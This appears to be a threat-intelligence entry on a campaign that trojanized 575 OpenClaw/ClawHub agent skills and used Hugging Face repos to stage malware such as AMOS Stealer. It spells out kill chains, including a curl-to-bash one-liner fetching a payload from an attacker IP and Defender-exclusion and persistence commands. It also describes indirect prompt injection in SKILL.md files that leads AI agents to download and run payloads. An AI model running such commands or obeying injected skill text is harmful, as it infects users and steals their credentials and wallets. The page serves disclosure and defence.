AI Supply Chain Abuse — 575 Trojanized OpenClaw/ClawHub Skills + Hugging Face Malware Staging (Acronis TRU)

AI Supply Chain Abuse (TL-2026-0447), also tracked as Poisoning the well, is a high-severity supply-chain compromise, first published 2026-05-01 and last reviewed 2026-08-22. It is attributed to ITHKR with medium confidence, affects Anthropic OpenClaw / ClawHub skill marketplace, maps to 40 MITRE ATT&CK / ATLAS techniques (AML.T0010.001, AML.T0051.001, T1005), and is covered by 9 detection rules and 40 indicators of compromise.

Key facts for TL-2026-0447

Threat ID
TL-2026-0447
Also known as
Poisoning the well, ITHKRPAW, FAKESECURITY, OpenClaw skill poisoning campaign, ClawHub trojanized skills
Severity
HIGH
Status
ACTIVE
Category
SUPPLY_CHAIN
First published
2026-05-01
Last reviewed
2026-08-22
Attribution
ITHKR
Attribution confidence
MEDIUM
Motivation
FINANCIAL
Target sectors
technology, financial, software-development, ai-ml-research, cryptocurrency
Target regions
Global, Vietnam, Southeast Asia, North America, Europe
Detection rules
9
Indicators of compromise
40
Updates
2026-08-22 · revalidated 1× · latest source

Malware and tooling in AI Supply Chain Abuse

Malware and tooling: AMOS Stealer, VMProtect

Acronis Threat Research Unit (TRU) disclosed an active in-the-wild AI supply chain campaign abusing OpenClaw/ClawHub and Hugging Face to distribute malware. Researchers identified 575 malicious OpenClaw skills published by 13 developer accounts (top actors hightower6eu — 334 skills, sakaen736jih — 199 skills) targeting Windows and macOS, delivering trojan loaders, a VMProtect-packed cryptominer beaconing to velvet-parrot[.]com:443, and AMOS Stealer (macOS infostealer). Two parallel Hugging Face campaigns (ITHKRPAW — January 2026, financial sector / Vietnam, and FAKESECURITY — January 2026, Defender impersonation) abuse dataset/Space repos to host multistage droppers. Novel technique: indirect prompt injection inside SKILL.md files instructing AI agents and developers to fetch and execute password-protected payloads.

How AI Supply Chain Abuse works

Acronis TRU's 30 April 2026 disclosure documents the first large-scale weaponization of the AI agent skill ecosystem as a malware distribution channel, paralleled by abuse of Hugging Face dataset/Space repositories as staging infrastructure. The campaign spans two distinct but overlapping intrusion sets and fundamentally redefines the supply-chain threat surface for organizations adopting AI agents.

OpenClaw / ClawHub Skill Poisoning — Acronis identified 575 trojanized skills published to ClawHub across 13 developer accounts. Two accounts dominate the corpus: hightower6eu (334 skills, 58.09%) and sakaen736jih (199 skills, 34.61%), together responsible for 92.7% of malicious uploads. Skills are published with attractive names and well-crafted README content to maximize installation by developers and AI agents searching the marketplace. The SKILL.md payload contains either indirect prompt injection text (designed to coerce the consuming AI agent into executing instructions on the developer's behalf) or social-engineered instructions urging the user to install a fake 'OpenClawDriver' or 'ClawHub-DependencyInstaller' from an external GitHub release.

Windows Kill Chain — On Windows, the dropper is a password-protected ZIP archive (e.g., ClawHub-DependencyInstaller.zip — SHA256 fd3d52c2bb3764aabfe4da301967bfbc18e1c062d5dad2e9f4c3b6b6cf0ec9f8) hosted on attacker-controlled GitHub release pages (hedefbari/openclaw-agent, Ddoy233/openclawcli, denboss99/openclaw-core, toolitletolate/openclaw_windriver). The archive yields a VMProtect-packed loader (ClawHub-DependencyInstaller.exe — SHA256 89930bd18e0f9c9c98dfb1662cb87aa98348e87164ab62b1f39e86ebf2ce24cb) employing a 30-byte XOR string-decryption routine and dynamic NT/bcrypt API resolution via LdrGetProcedureAddress (NtCreateFile, NtAllocateVirtualMemory, BCryptDecrypt, BCryptOpenAlgorithmProvider). The loader reads an embedded encrypted payload, RtlDecompressBufferEx-decompresses, AES-CBC decrypts with an embedded key, allocates RWX memory via NtAllocateVirtualMemory, and executes via remote thread — yielding the cryptominer payload (SHA256 c7b93b6facfc23f49e35e81dc9c30cc69401b8245eeb7c032fc13656cd7e101f).

Persistence is achieved through hidden APPDATA staging directories named to mimic legitimate Microsoft components (MicrosoftOfficeBroker, Microsoft.Windows.PeopleExperienceHost_*) with attrib +h +s, two scheduled tasks named 'WindowsSystemService' and 'RuntimeBrokerService' configured /sc onlogon /rl highest, and aggressive Defender neutralization via reg add to Defender exclusion paths combined with Add-MpPreference -ExclusionPath / -ExclusionProcess and gpupdate /force. C2 occurs over HTTPS to velvet-parrot[.]com:443 using AES-CBC encryption (Net.WebClient UploadData) with the IV embedded in the first 16 bytes of each request; responses are decrypted and written as svchost.exe or RuntimeBroker.exe. A Telegram bot at t[.]me/dusty_vintage acts as a dead-drop resolver (DDR) that hides the operational C2 endpoint from passive analysis.

macOS Kill Chain — On macOS, the SKILL.md echoes a decoy 'Setup-Wizard:' URL (install.app-distribution[.]net) before base64-decoding and executing a bash one-liner of the form 'curl -fsSL http://91.92.242[.]30/<id> | bash'. The dropper changes to $TMPDIR, downloads the next stage with curl -O, clears the macOS quarantine attribute via xattr -c, chmods +x, and executes — delivering AMOS Stealer (SHA256 f0a54f2b44e557854b0a5001c4e10185884af945814786f78b86539014f78a16), a widely sold macOS infostealer that targets browser credentials, cookies, crypto wallets, and Keychain. Three intermediary URLs — glot.io/snippets/hfdxv8uyaf, glot.io/snippets/hfd3x9ueu5, and rentry.co/openclaw-core — host the install instructions designed to look like legitimate community documentation.

Hugging Face — ITHKRPAW Campaign — In January 2026 Acronis observed a parallel intrusion targeting the Vietnamese financial sector. The lure is a Vietnamese-language LNK 'Bao_Cao_Tai_Chinh_2024.pdf.lnk' (financial report PDF — SHA256 b5da6ffa5f85aa5016fbc02a3122361c85d21192c45df9544099d13e6ff84c36) that invokes a PowerShell dropper hosted on Cloudflare Workers. The dropper retrieves omni-agent-v4.exe from a Hugging Face dataset repository, renames it locally as microsoft-update-assist.exe, and opens a decoy cat image from the same Hugging Face repo to maintain user trust. PowerShell comments authored in Vietnamese with stylistic LLM hallmarks suggest LLM-assisted tooling (moderate confidence). Operator alias attributed by Acronis: 'ITHKR'.

Hugging Face — FAKESECURITY Campaign — Also from January 2026, an opportunistic Windows Defender impersonation campaign begins with CDC1.bat (SHA256 e84b1e2c432b2394c403b524b8361ffa9923a022eb05215f1dc811bc167c3c5e), an encoded PowerShell wrapper that pulls xt53.bat (SHA256 d42aecf76fb1531cd5b7139e669910b2fd82a90b7e11448128e226775bf5d42e) from a Hugging Face account owned by '2i7j732ddi'. The multistage chain stages files in %APPDATA%\Microsoft\OQvoig1QLXmD, strips the Mark-of-the-Web Zone.Identifier ADS, and registers HKCU\...\Run value '5PthNvuYXu' for persistence. A base64 blob delimited by the marker '::rusy4bgJy8LXXbkz::' decodes to a PowerShell loader that creates a single-instance mutex 'was_s2Pd8zz_Mtx', single-byte-XOR (key 0xF1) decrypts shellcode, allocates memory inside explorer.exe via NtAllocateVirtualMemory, and uses CreateRemoteThread to inject; a watchdog reinjects whenever Explorer is restarted. Final payload: WindowsDefender.exe (SHA256 462af0a3a9094d44c30cc65544ec1171a62365cff09e67f5e87e061a3d604bd0) impersonating Windows Security to maintain persistence.

Defensive Implications — This is the first publicly documented campaign weaponizing AI agent skills at scale. Three doctrinal shifts are warranted: (1) treat AI-skill marketplaces as untrusted code-execution surfaces requiring the same supply-chain controls as PyPI / npm (provenance, signing, account-age gating, sandboxed install); (2) assume that any consumed SKILL.md / dataset README / system prompt may contain indirect prompt injection — reject content-driven tool-use from untrusted sources; (3) monitor Hugging Face and Cloudflare Workers domains as commodity malware staging hosts, not just research infrastructure. Detection priorities: outbound HTTPS to velvet-parrot[.]com, curl-fed bash on macOS originating from $TMPDIR, schtasks creation for 'WindowsSystemService' / 'RuntimeBrokerService', Add-MpPreference Defender exclusions, CreateRemoteThread into explorer.exe, and the 'was_s2Pd8zz_Mtx' mutex.

MITRE ATT&CK / ATLAS techniques used in TL-2026-0447

Initial Access

AML.T0010.001 AI Supply Chain Compromise: AI Software; AML.T0051.001 LLM Prompt Injection: Indirect; T1195.002 Supply Chain Compromise: Compromise Software Supply Chain; T1566.001 Phishing: Spearphishing Attachment; T1566.002 Phishing: Spearphishing Link

Collection

T1005 Data from Local System

Defense Evasion

T1027.002 Obfuscated Files or Information: Software Packing; T1027.013 Obfuscated Files or Information: Encrypted/Encoded File; T1036.005 Match Legitimate Resource Name or Location; T1055.002 Process Injection: Portable Executable Injection; T1055.003 Process Injection: Thread Execution Hijacking; T1055.012 Process Injection: Process Hollowing; T1140 Deobfuscate/Decode Files or Information; T1562.001 Impair Defenses: Disable or Modify Tools; T1564.001 Hide Artifacts: Hidden Files and Directories; T1564.004 Hide Artifacts: NTFS File Attributes

Exfiltration

T1041 Exfiltration Over C2 Channel

Persistence

T1053.005 Scheduled Task/Job: Scheduled Task; T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Execution

T1059.001 Command and Scripting Interpreter: PowerShell; T1059.003 Command and Scripting Interpreter: Windows Command Shell; T1059.004 Command and Scripting Interpreter: Unix Shell; T1106 Native API; T1204.001 User Execution: Malicious Link; T1204.002 User Execution: Malicious File

Command and Control

T1071.001 Application Layer Protocol: Web Protocols; T1102.001 Web Service: Dead Drop Resolver; T1102.002 Web Service: Bidirectional Communication; T1105 Ingress Tool Transfer; T1573.001 Encrypted Channel: Symmetric Cryptography

Discovery

T1082 System Information Discovery

Impact

T1496 Resource Hijacking

Credential Access

T1555.001 Credentials from Password Stores: Keychain; T1555.003 Credentials from Password Stores: Credentials from Web Browsers

Resource Development

T1583 Acquire Infrastructure; T1583.006 Acquire Infrastructure: Web Services; T1585.001 Establish Accounts: Social Media Accounts; T1608.001 Stage Capabilities: Upload Malware; T1608.002 Stage Capabilities: Upload Tool

defense-impairment

T1685 Disable or Modify Tools

Affected products and versions in AI Supply Chain Abuse

  • Anthropic — OpenClaw / ClawHub skill marketplace
    Vulnerable versions: all marketplace skills published by the 13 listed developer accounts
    Fixed in: malicious skills removed post-disclosure 2026-04-30
  • Hugging Face — Hugging Face dataset and Space repositories
    Vulnerable versions: repositories owned by 2i7j732ddi and additional accounts hosting ITHKRPAW / FAKESECURITY payloads
    Fixed in: accounts and repos suspended post-disclosure
  • Microsoft — Windows (Defender / Explorer)
    Vulnerable versions: Windows 10; Windows 11
    Fixed in: No patch — defense relies on EDR and Defender ASR rules
  • Apple — macOS
    Vulnerable versions: macOS 13 Ventura; macOS 14 Sonoma; macOS 15 Sequoia
    Fixed in: No patch — defense relies on Endpoint Security framework rules and user awareness
  • Cloudflare — Cloudflare Workers (abused as PowerShell dropper hosting)
    Vulnerable versions: any *.workers.dev subdomain
    Fixed in: Cloudflare Trust & Safety takedowns post-report

Remediation for AI Supply Chain Abuse

Patches

  • No vendor patch available — campaign abuses platform features rather than software vulnerabilities. Anthropic / OpenClaw and Hugging Face have removed the identified malicious skills and accounts as of disclosure (2026-04-30). Continue to monitor for re-uploads and new accounts.

Immediate actions

  • Block outbound DNS / HTTPS to velvet-parrot[.]com at perimeter and EDR network filters
  • Block outbound traffic to 91.92.242.30 (macOS payload host)
  • Block install.app-distribution[.]net and intermediary URLs glot.io/snippets/hfdxv8uyaf, glot.io/snippets/hfd3x9ueu5, rentry.co/openclaw-core
  • Block the Telegram dead-drop resolver t[.]me/dusty_vintage at the egress proxy
  • Block the GitHub release distribution URLs (hedefbari/openclaw-agent, Ddoy233/openclawcli, denboss99/openclaw-core, toolitletolate/openclaw_windriver)
  • Hunt for and remove all 575 trojanized skills authored by the 13 listed developer accounts from internal AI agent inventories
  • Hunt for the file hashes (12 SHA256) across endpoint and email gateway telemetry; quarantine and triage any matches
  • Hunt for scheduled tasks named 'WindowsSystemService' or 'RuntimeBrokerService' configured /sc onlogon /rl highest
  • Hunt for the persistence Run-key value '5PthNvuYXu' under HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Hunt for staging directories %APPDATA%\Microsoft\OQvoig1QLXmD and %APPDATA%\MicrosoftOfficeBroker / Microsoft.Windows.PeopleExperienceHost_*

Workarounds

  • Disable autonomous skill installation in AI agent configurations until provenance controls mature
  • Pin AI agents to a curated, internally vetted skill allow-list
  • Disable execution of shell commands echoed by skill content; require manual review
  • Configure Microsoft Defender ASR rules: Block process creations originating from PSExec/WMI commands, Block executable content from email/webmail, Block Office apps from creating child processes, Block credential stealing from LSASS
  • Enforce PowerShell Constrained Language Mode and block encoded-command execution (-EncodedCommand) where feasible
  • On macOS deploy Endpoint Security framework rules to alert on $TMPDIR-resident curl-fed bash patterns

Longer-term hardening

  • Treat AI-skill marketplaces (ClawHub, MCP registries, Hugging Face) as untrusted code-execution surfaces — apply the same supply-chain controls used for PyPI / npm: provenance checks, signing, account-age gating, sandboxed install
  • Implement an AI-agent prompt-injection defense layer that strips or quarantines instructions embedded in fetched SKILL.md / README / dataset / Space content before passing to the model
  • Restrict AI agents from executing arbitrary shell commands derived from skill content; require human approval for any tool invocation that originates from untrusted documentation
  • Add Hugging Face dataset and Space domains (huggingface.co/<account>/...) to high-risk URL categories in egress proxies; alert on download of executables, archives, .lnk, and .bat from these paths
  • Add Cloudflare Workers (*.workers.dev) to the high-risk URL categories for executable / script downloads
  • Deploy EDR with behavioral detection for: process injection into explorer.exe, schtasks /sc onlogon /rl highest creation, Add-MpPreference exclusions, Zone.Identifier ADS clearing, RtlDecompressBufferEx + BCryptDecrypt sequence
  • Adopt SBOM-style inventories for AI agent skills and MCP servers; require allow-listing for production agents
  • Train developers and security teams to recognize indirect prompt injection in skill READMEs and to treat 'install this dependency' messages from skills as suspicious
  • Subscribe to ClawHub and Hugging Face takedown / abuse feeds (where available) to receive removal notifications

Weaknesses (CWE) in AI Supply Chain Abuse

CWE-829, CWE-494, CWE-506, CWE-1357, CWE-1395

Timeline of AI Supply Chain Abuse

  • Acronis TRU first observes Hugging Face campaigns ITHKRPAW (Vietnamese financial-sector lure 'Bao_Cao_Tai_Chinh_2024.pdf.lnk' fetching omni-agent-v4.exe via Cloudflare Workers PowerShell dropper) and FAKESECURITY (CDC1.bat encoded PowerShell pulling xt53.bat from HF account 2i7j732ddi).
  • Trojanized OpenClaw / ClawHub skill uploads from accounts hightower6eu (334 skills) and sakaen736jih (199 skills) accumulate on the marketplace; SKILL.md files contain indirect prompt injection and instructions to install fake 'OpenClawDriver' / 'ClawHub-DependencyInstaller' from external GitHub releases.
  • VMProtect-packed Windows loader (ClawHub-DependencyInstaller.exe — SHA256 89930bd1...) observed using 30-byte XOR string decryption, dynamic NT/bcrypt API resolution, RtlDecompressBufferEx + AES-CBC payload decryption, and remote-thread execution to deliver cryptominer payload C7B93B6F... beaconing AES-CBC over HTTPS to velvet-parrot[.]com:443.
  • macOS chain observed: SKILL.md echoes decoy 'Setup-Wizard:' URL (install.app-distribution[.]net) then base64-decodes 'curl -fsSL http://91.92.242[.]30/<id> | bash'; dropper writes to $TMPDIR, xattr -c, chmod +x, executes AMOS Stealer (SHA256 f0a54f2b...). Intermediary URLs: glot.io snippets and rentry.co/openclaw-core.
  • Telegram bot t[.]me/dusty_vintage identified as the Dead-Drop Resolver (DDR) used to hide the operational C2 endpoint behind a public messaging service.
  • FAKESECURITY chain fully documented: explorer.exe process injection via NtAllocateVirtualMemory + CreateRemoteThread, single-byte XOR (0xF1) shellcode decryption, mutex 'was_s2Pd8zz_Mtx', Run-key persistence value '5PthNvuYXu', Zone.Identifier ADS clearing, watchdog reinjection on Explorer restart, final payload WindowsDefender.exe (SHA256 462af0a3...).
  • Acronis TRU completes corpus enumeration: 575 trojanized skills across 13 developer accounts on ClawHub; top-2 accounts (hightower6eu + sakaen736jih) account for 92.7% of malicious uploads.
  • Anthropic / OpenClaw and Hugging Face notified; identified malicious skills, datasets, and Spaces removed; offending accounts suspended. Cloudflare Trust & Safety begins takedown of associated Workers domains.
  • Acronis TRU publishes 'Poisoning the well: AI supply chain attacks on Hugging Face and OpenClaw' disclosing the OpenClaw/ClawHub corpus, both Hugging Face campaigns (ITHKRPAW + FAKESECURITY), 12 SHA256 hashes, 1 IP, 2 C2 domains, 8 distribution URLs, and the Telegram DDR. Authors: Darrel Virtusio, Subhajeet Singha, Syed Aizad.
  • Acronis notes OpenClaw has since integrated automated VirusTotal Code Insight scanning into ClawHub, though measuring the true scale of abuse remains difficult given the dynamic, constantly-updated nature of hosted skill and model content.
  • SecurityWeek independently corroborates the Acronis findings the same day, confirming the ClawHub/Hugging Face malware distribution scale and payload families.
  • Threadlinqs Intelligence publishes TL-2026-0447 with full Era 3 schema research, MITRE ATT&CK mapping (35+ techniques across 12 tactics), 25+ IOCs, and detection guidance for SOC teams.
  • As of 2026-05-29, this Acronis-documented AI supply-chain campaign remains a live concern: shared C2 (91.92.242.30) was still operational at last check, removed skills persist downstream, and the OpenClaw/ClawHub poisoning class is escalating (Koi's ClawHavoc 1,184 skills, ongoing AMOS/Hugging Face abuse). No CVE/patch — platforms only removed the named accounts/skills; the TTP and actors stay active.

Update history for TL-2026-0447

Sources cited for AI Supply Chain Abuse

Threats related to AI Supply Chain Abuse

Detection coverage for TL-2026-0447

As of 2026-08-22, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0447 across Splunk SPL, Microsoft KQL and Sigma, covering 40 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Further reading

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats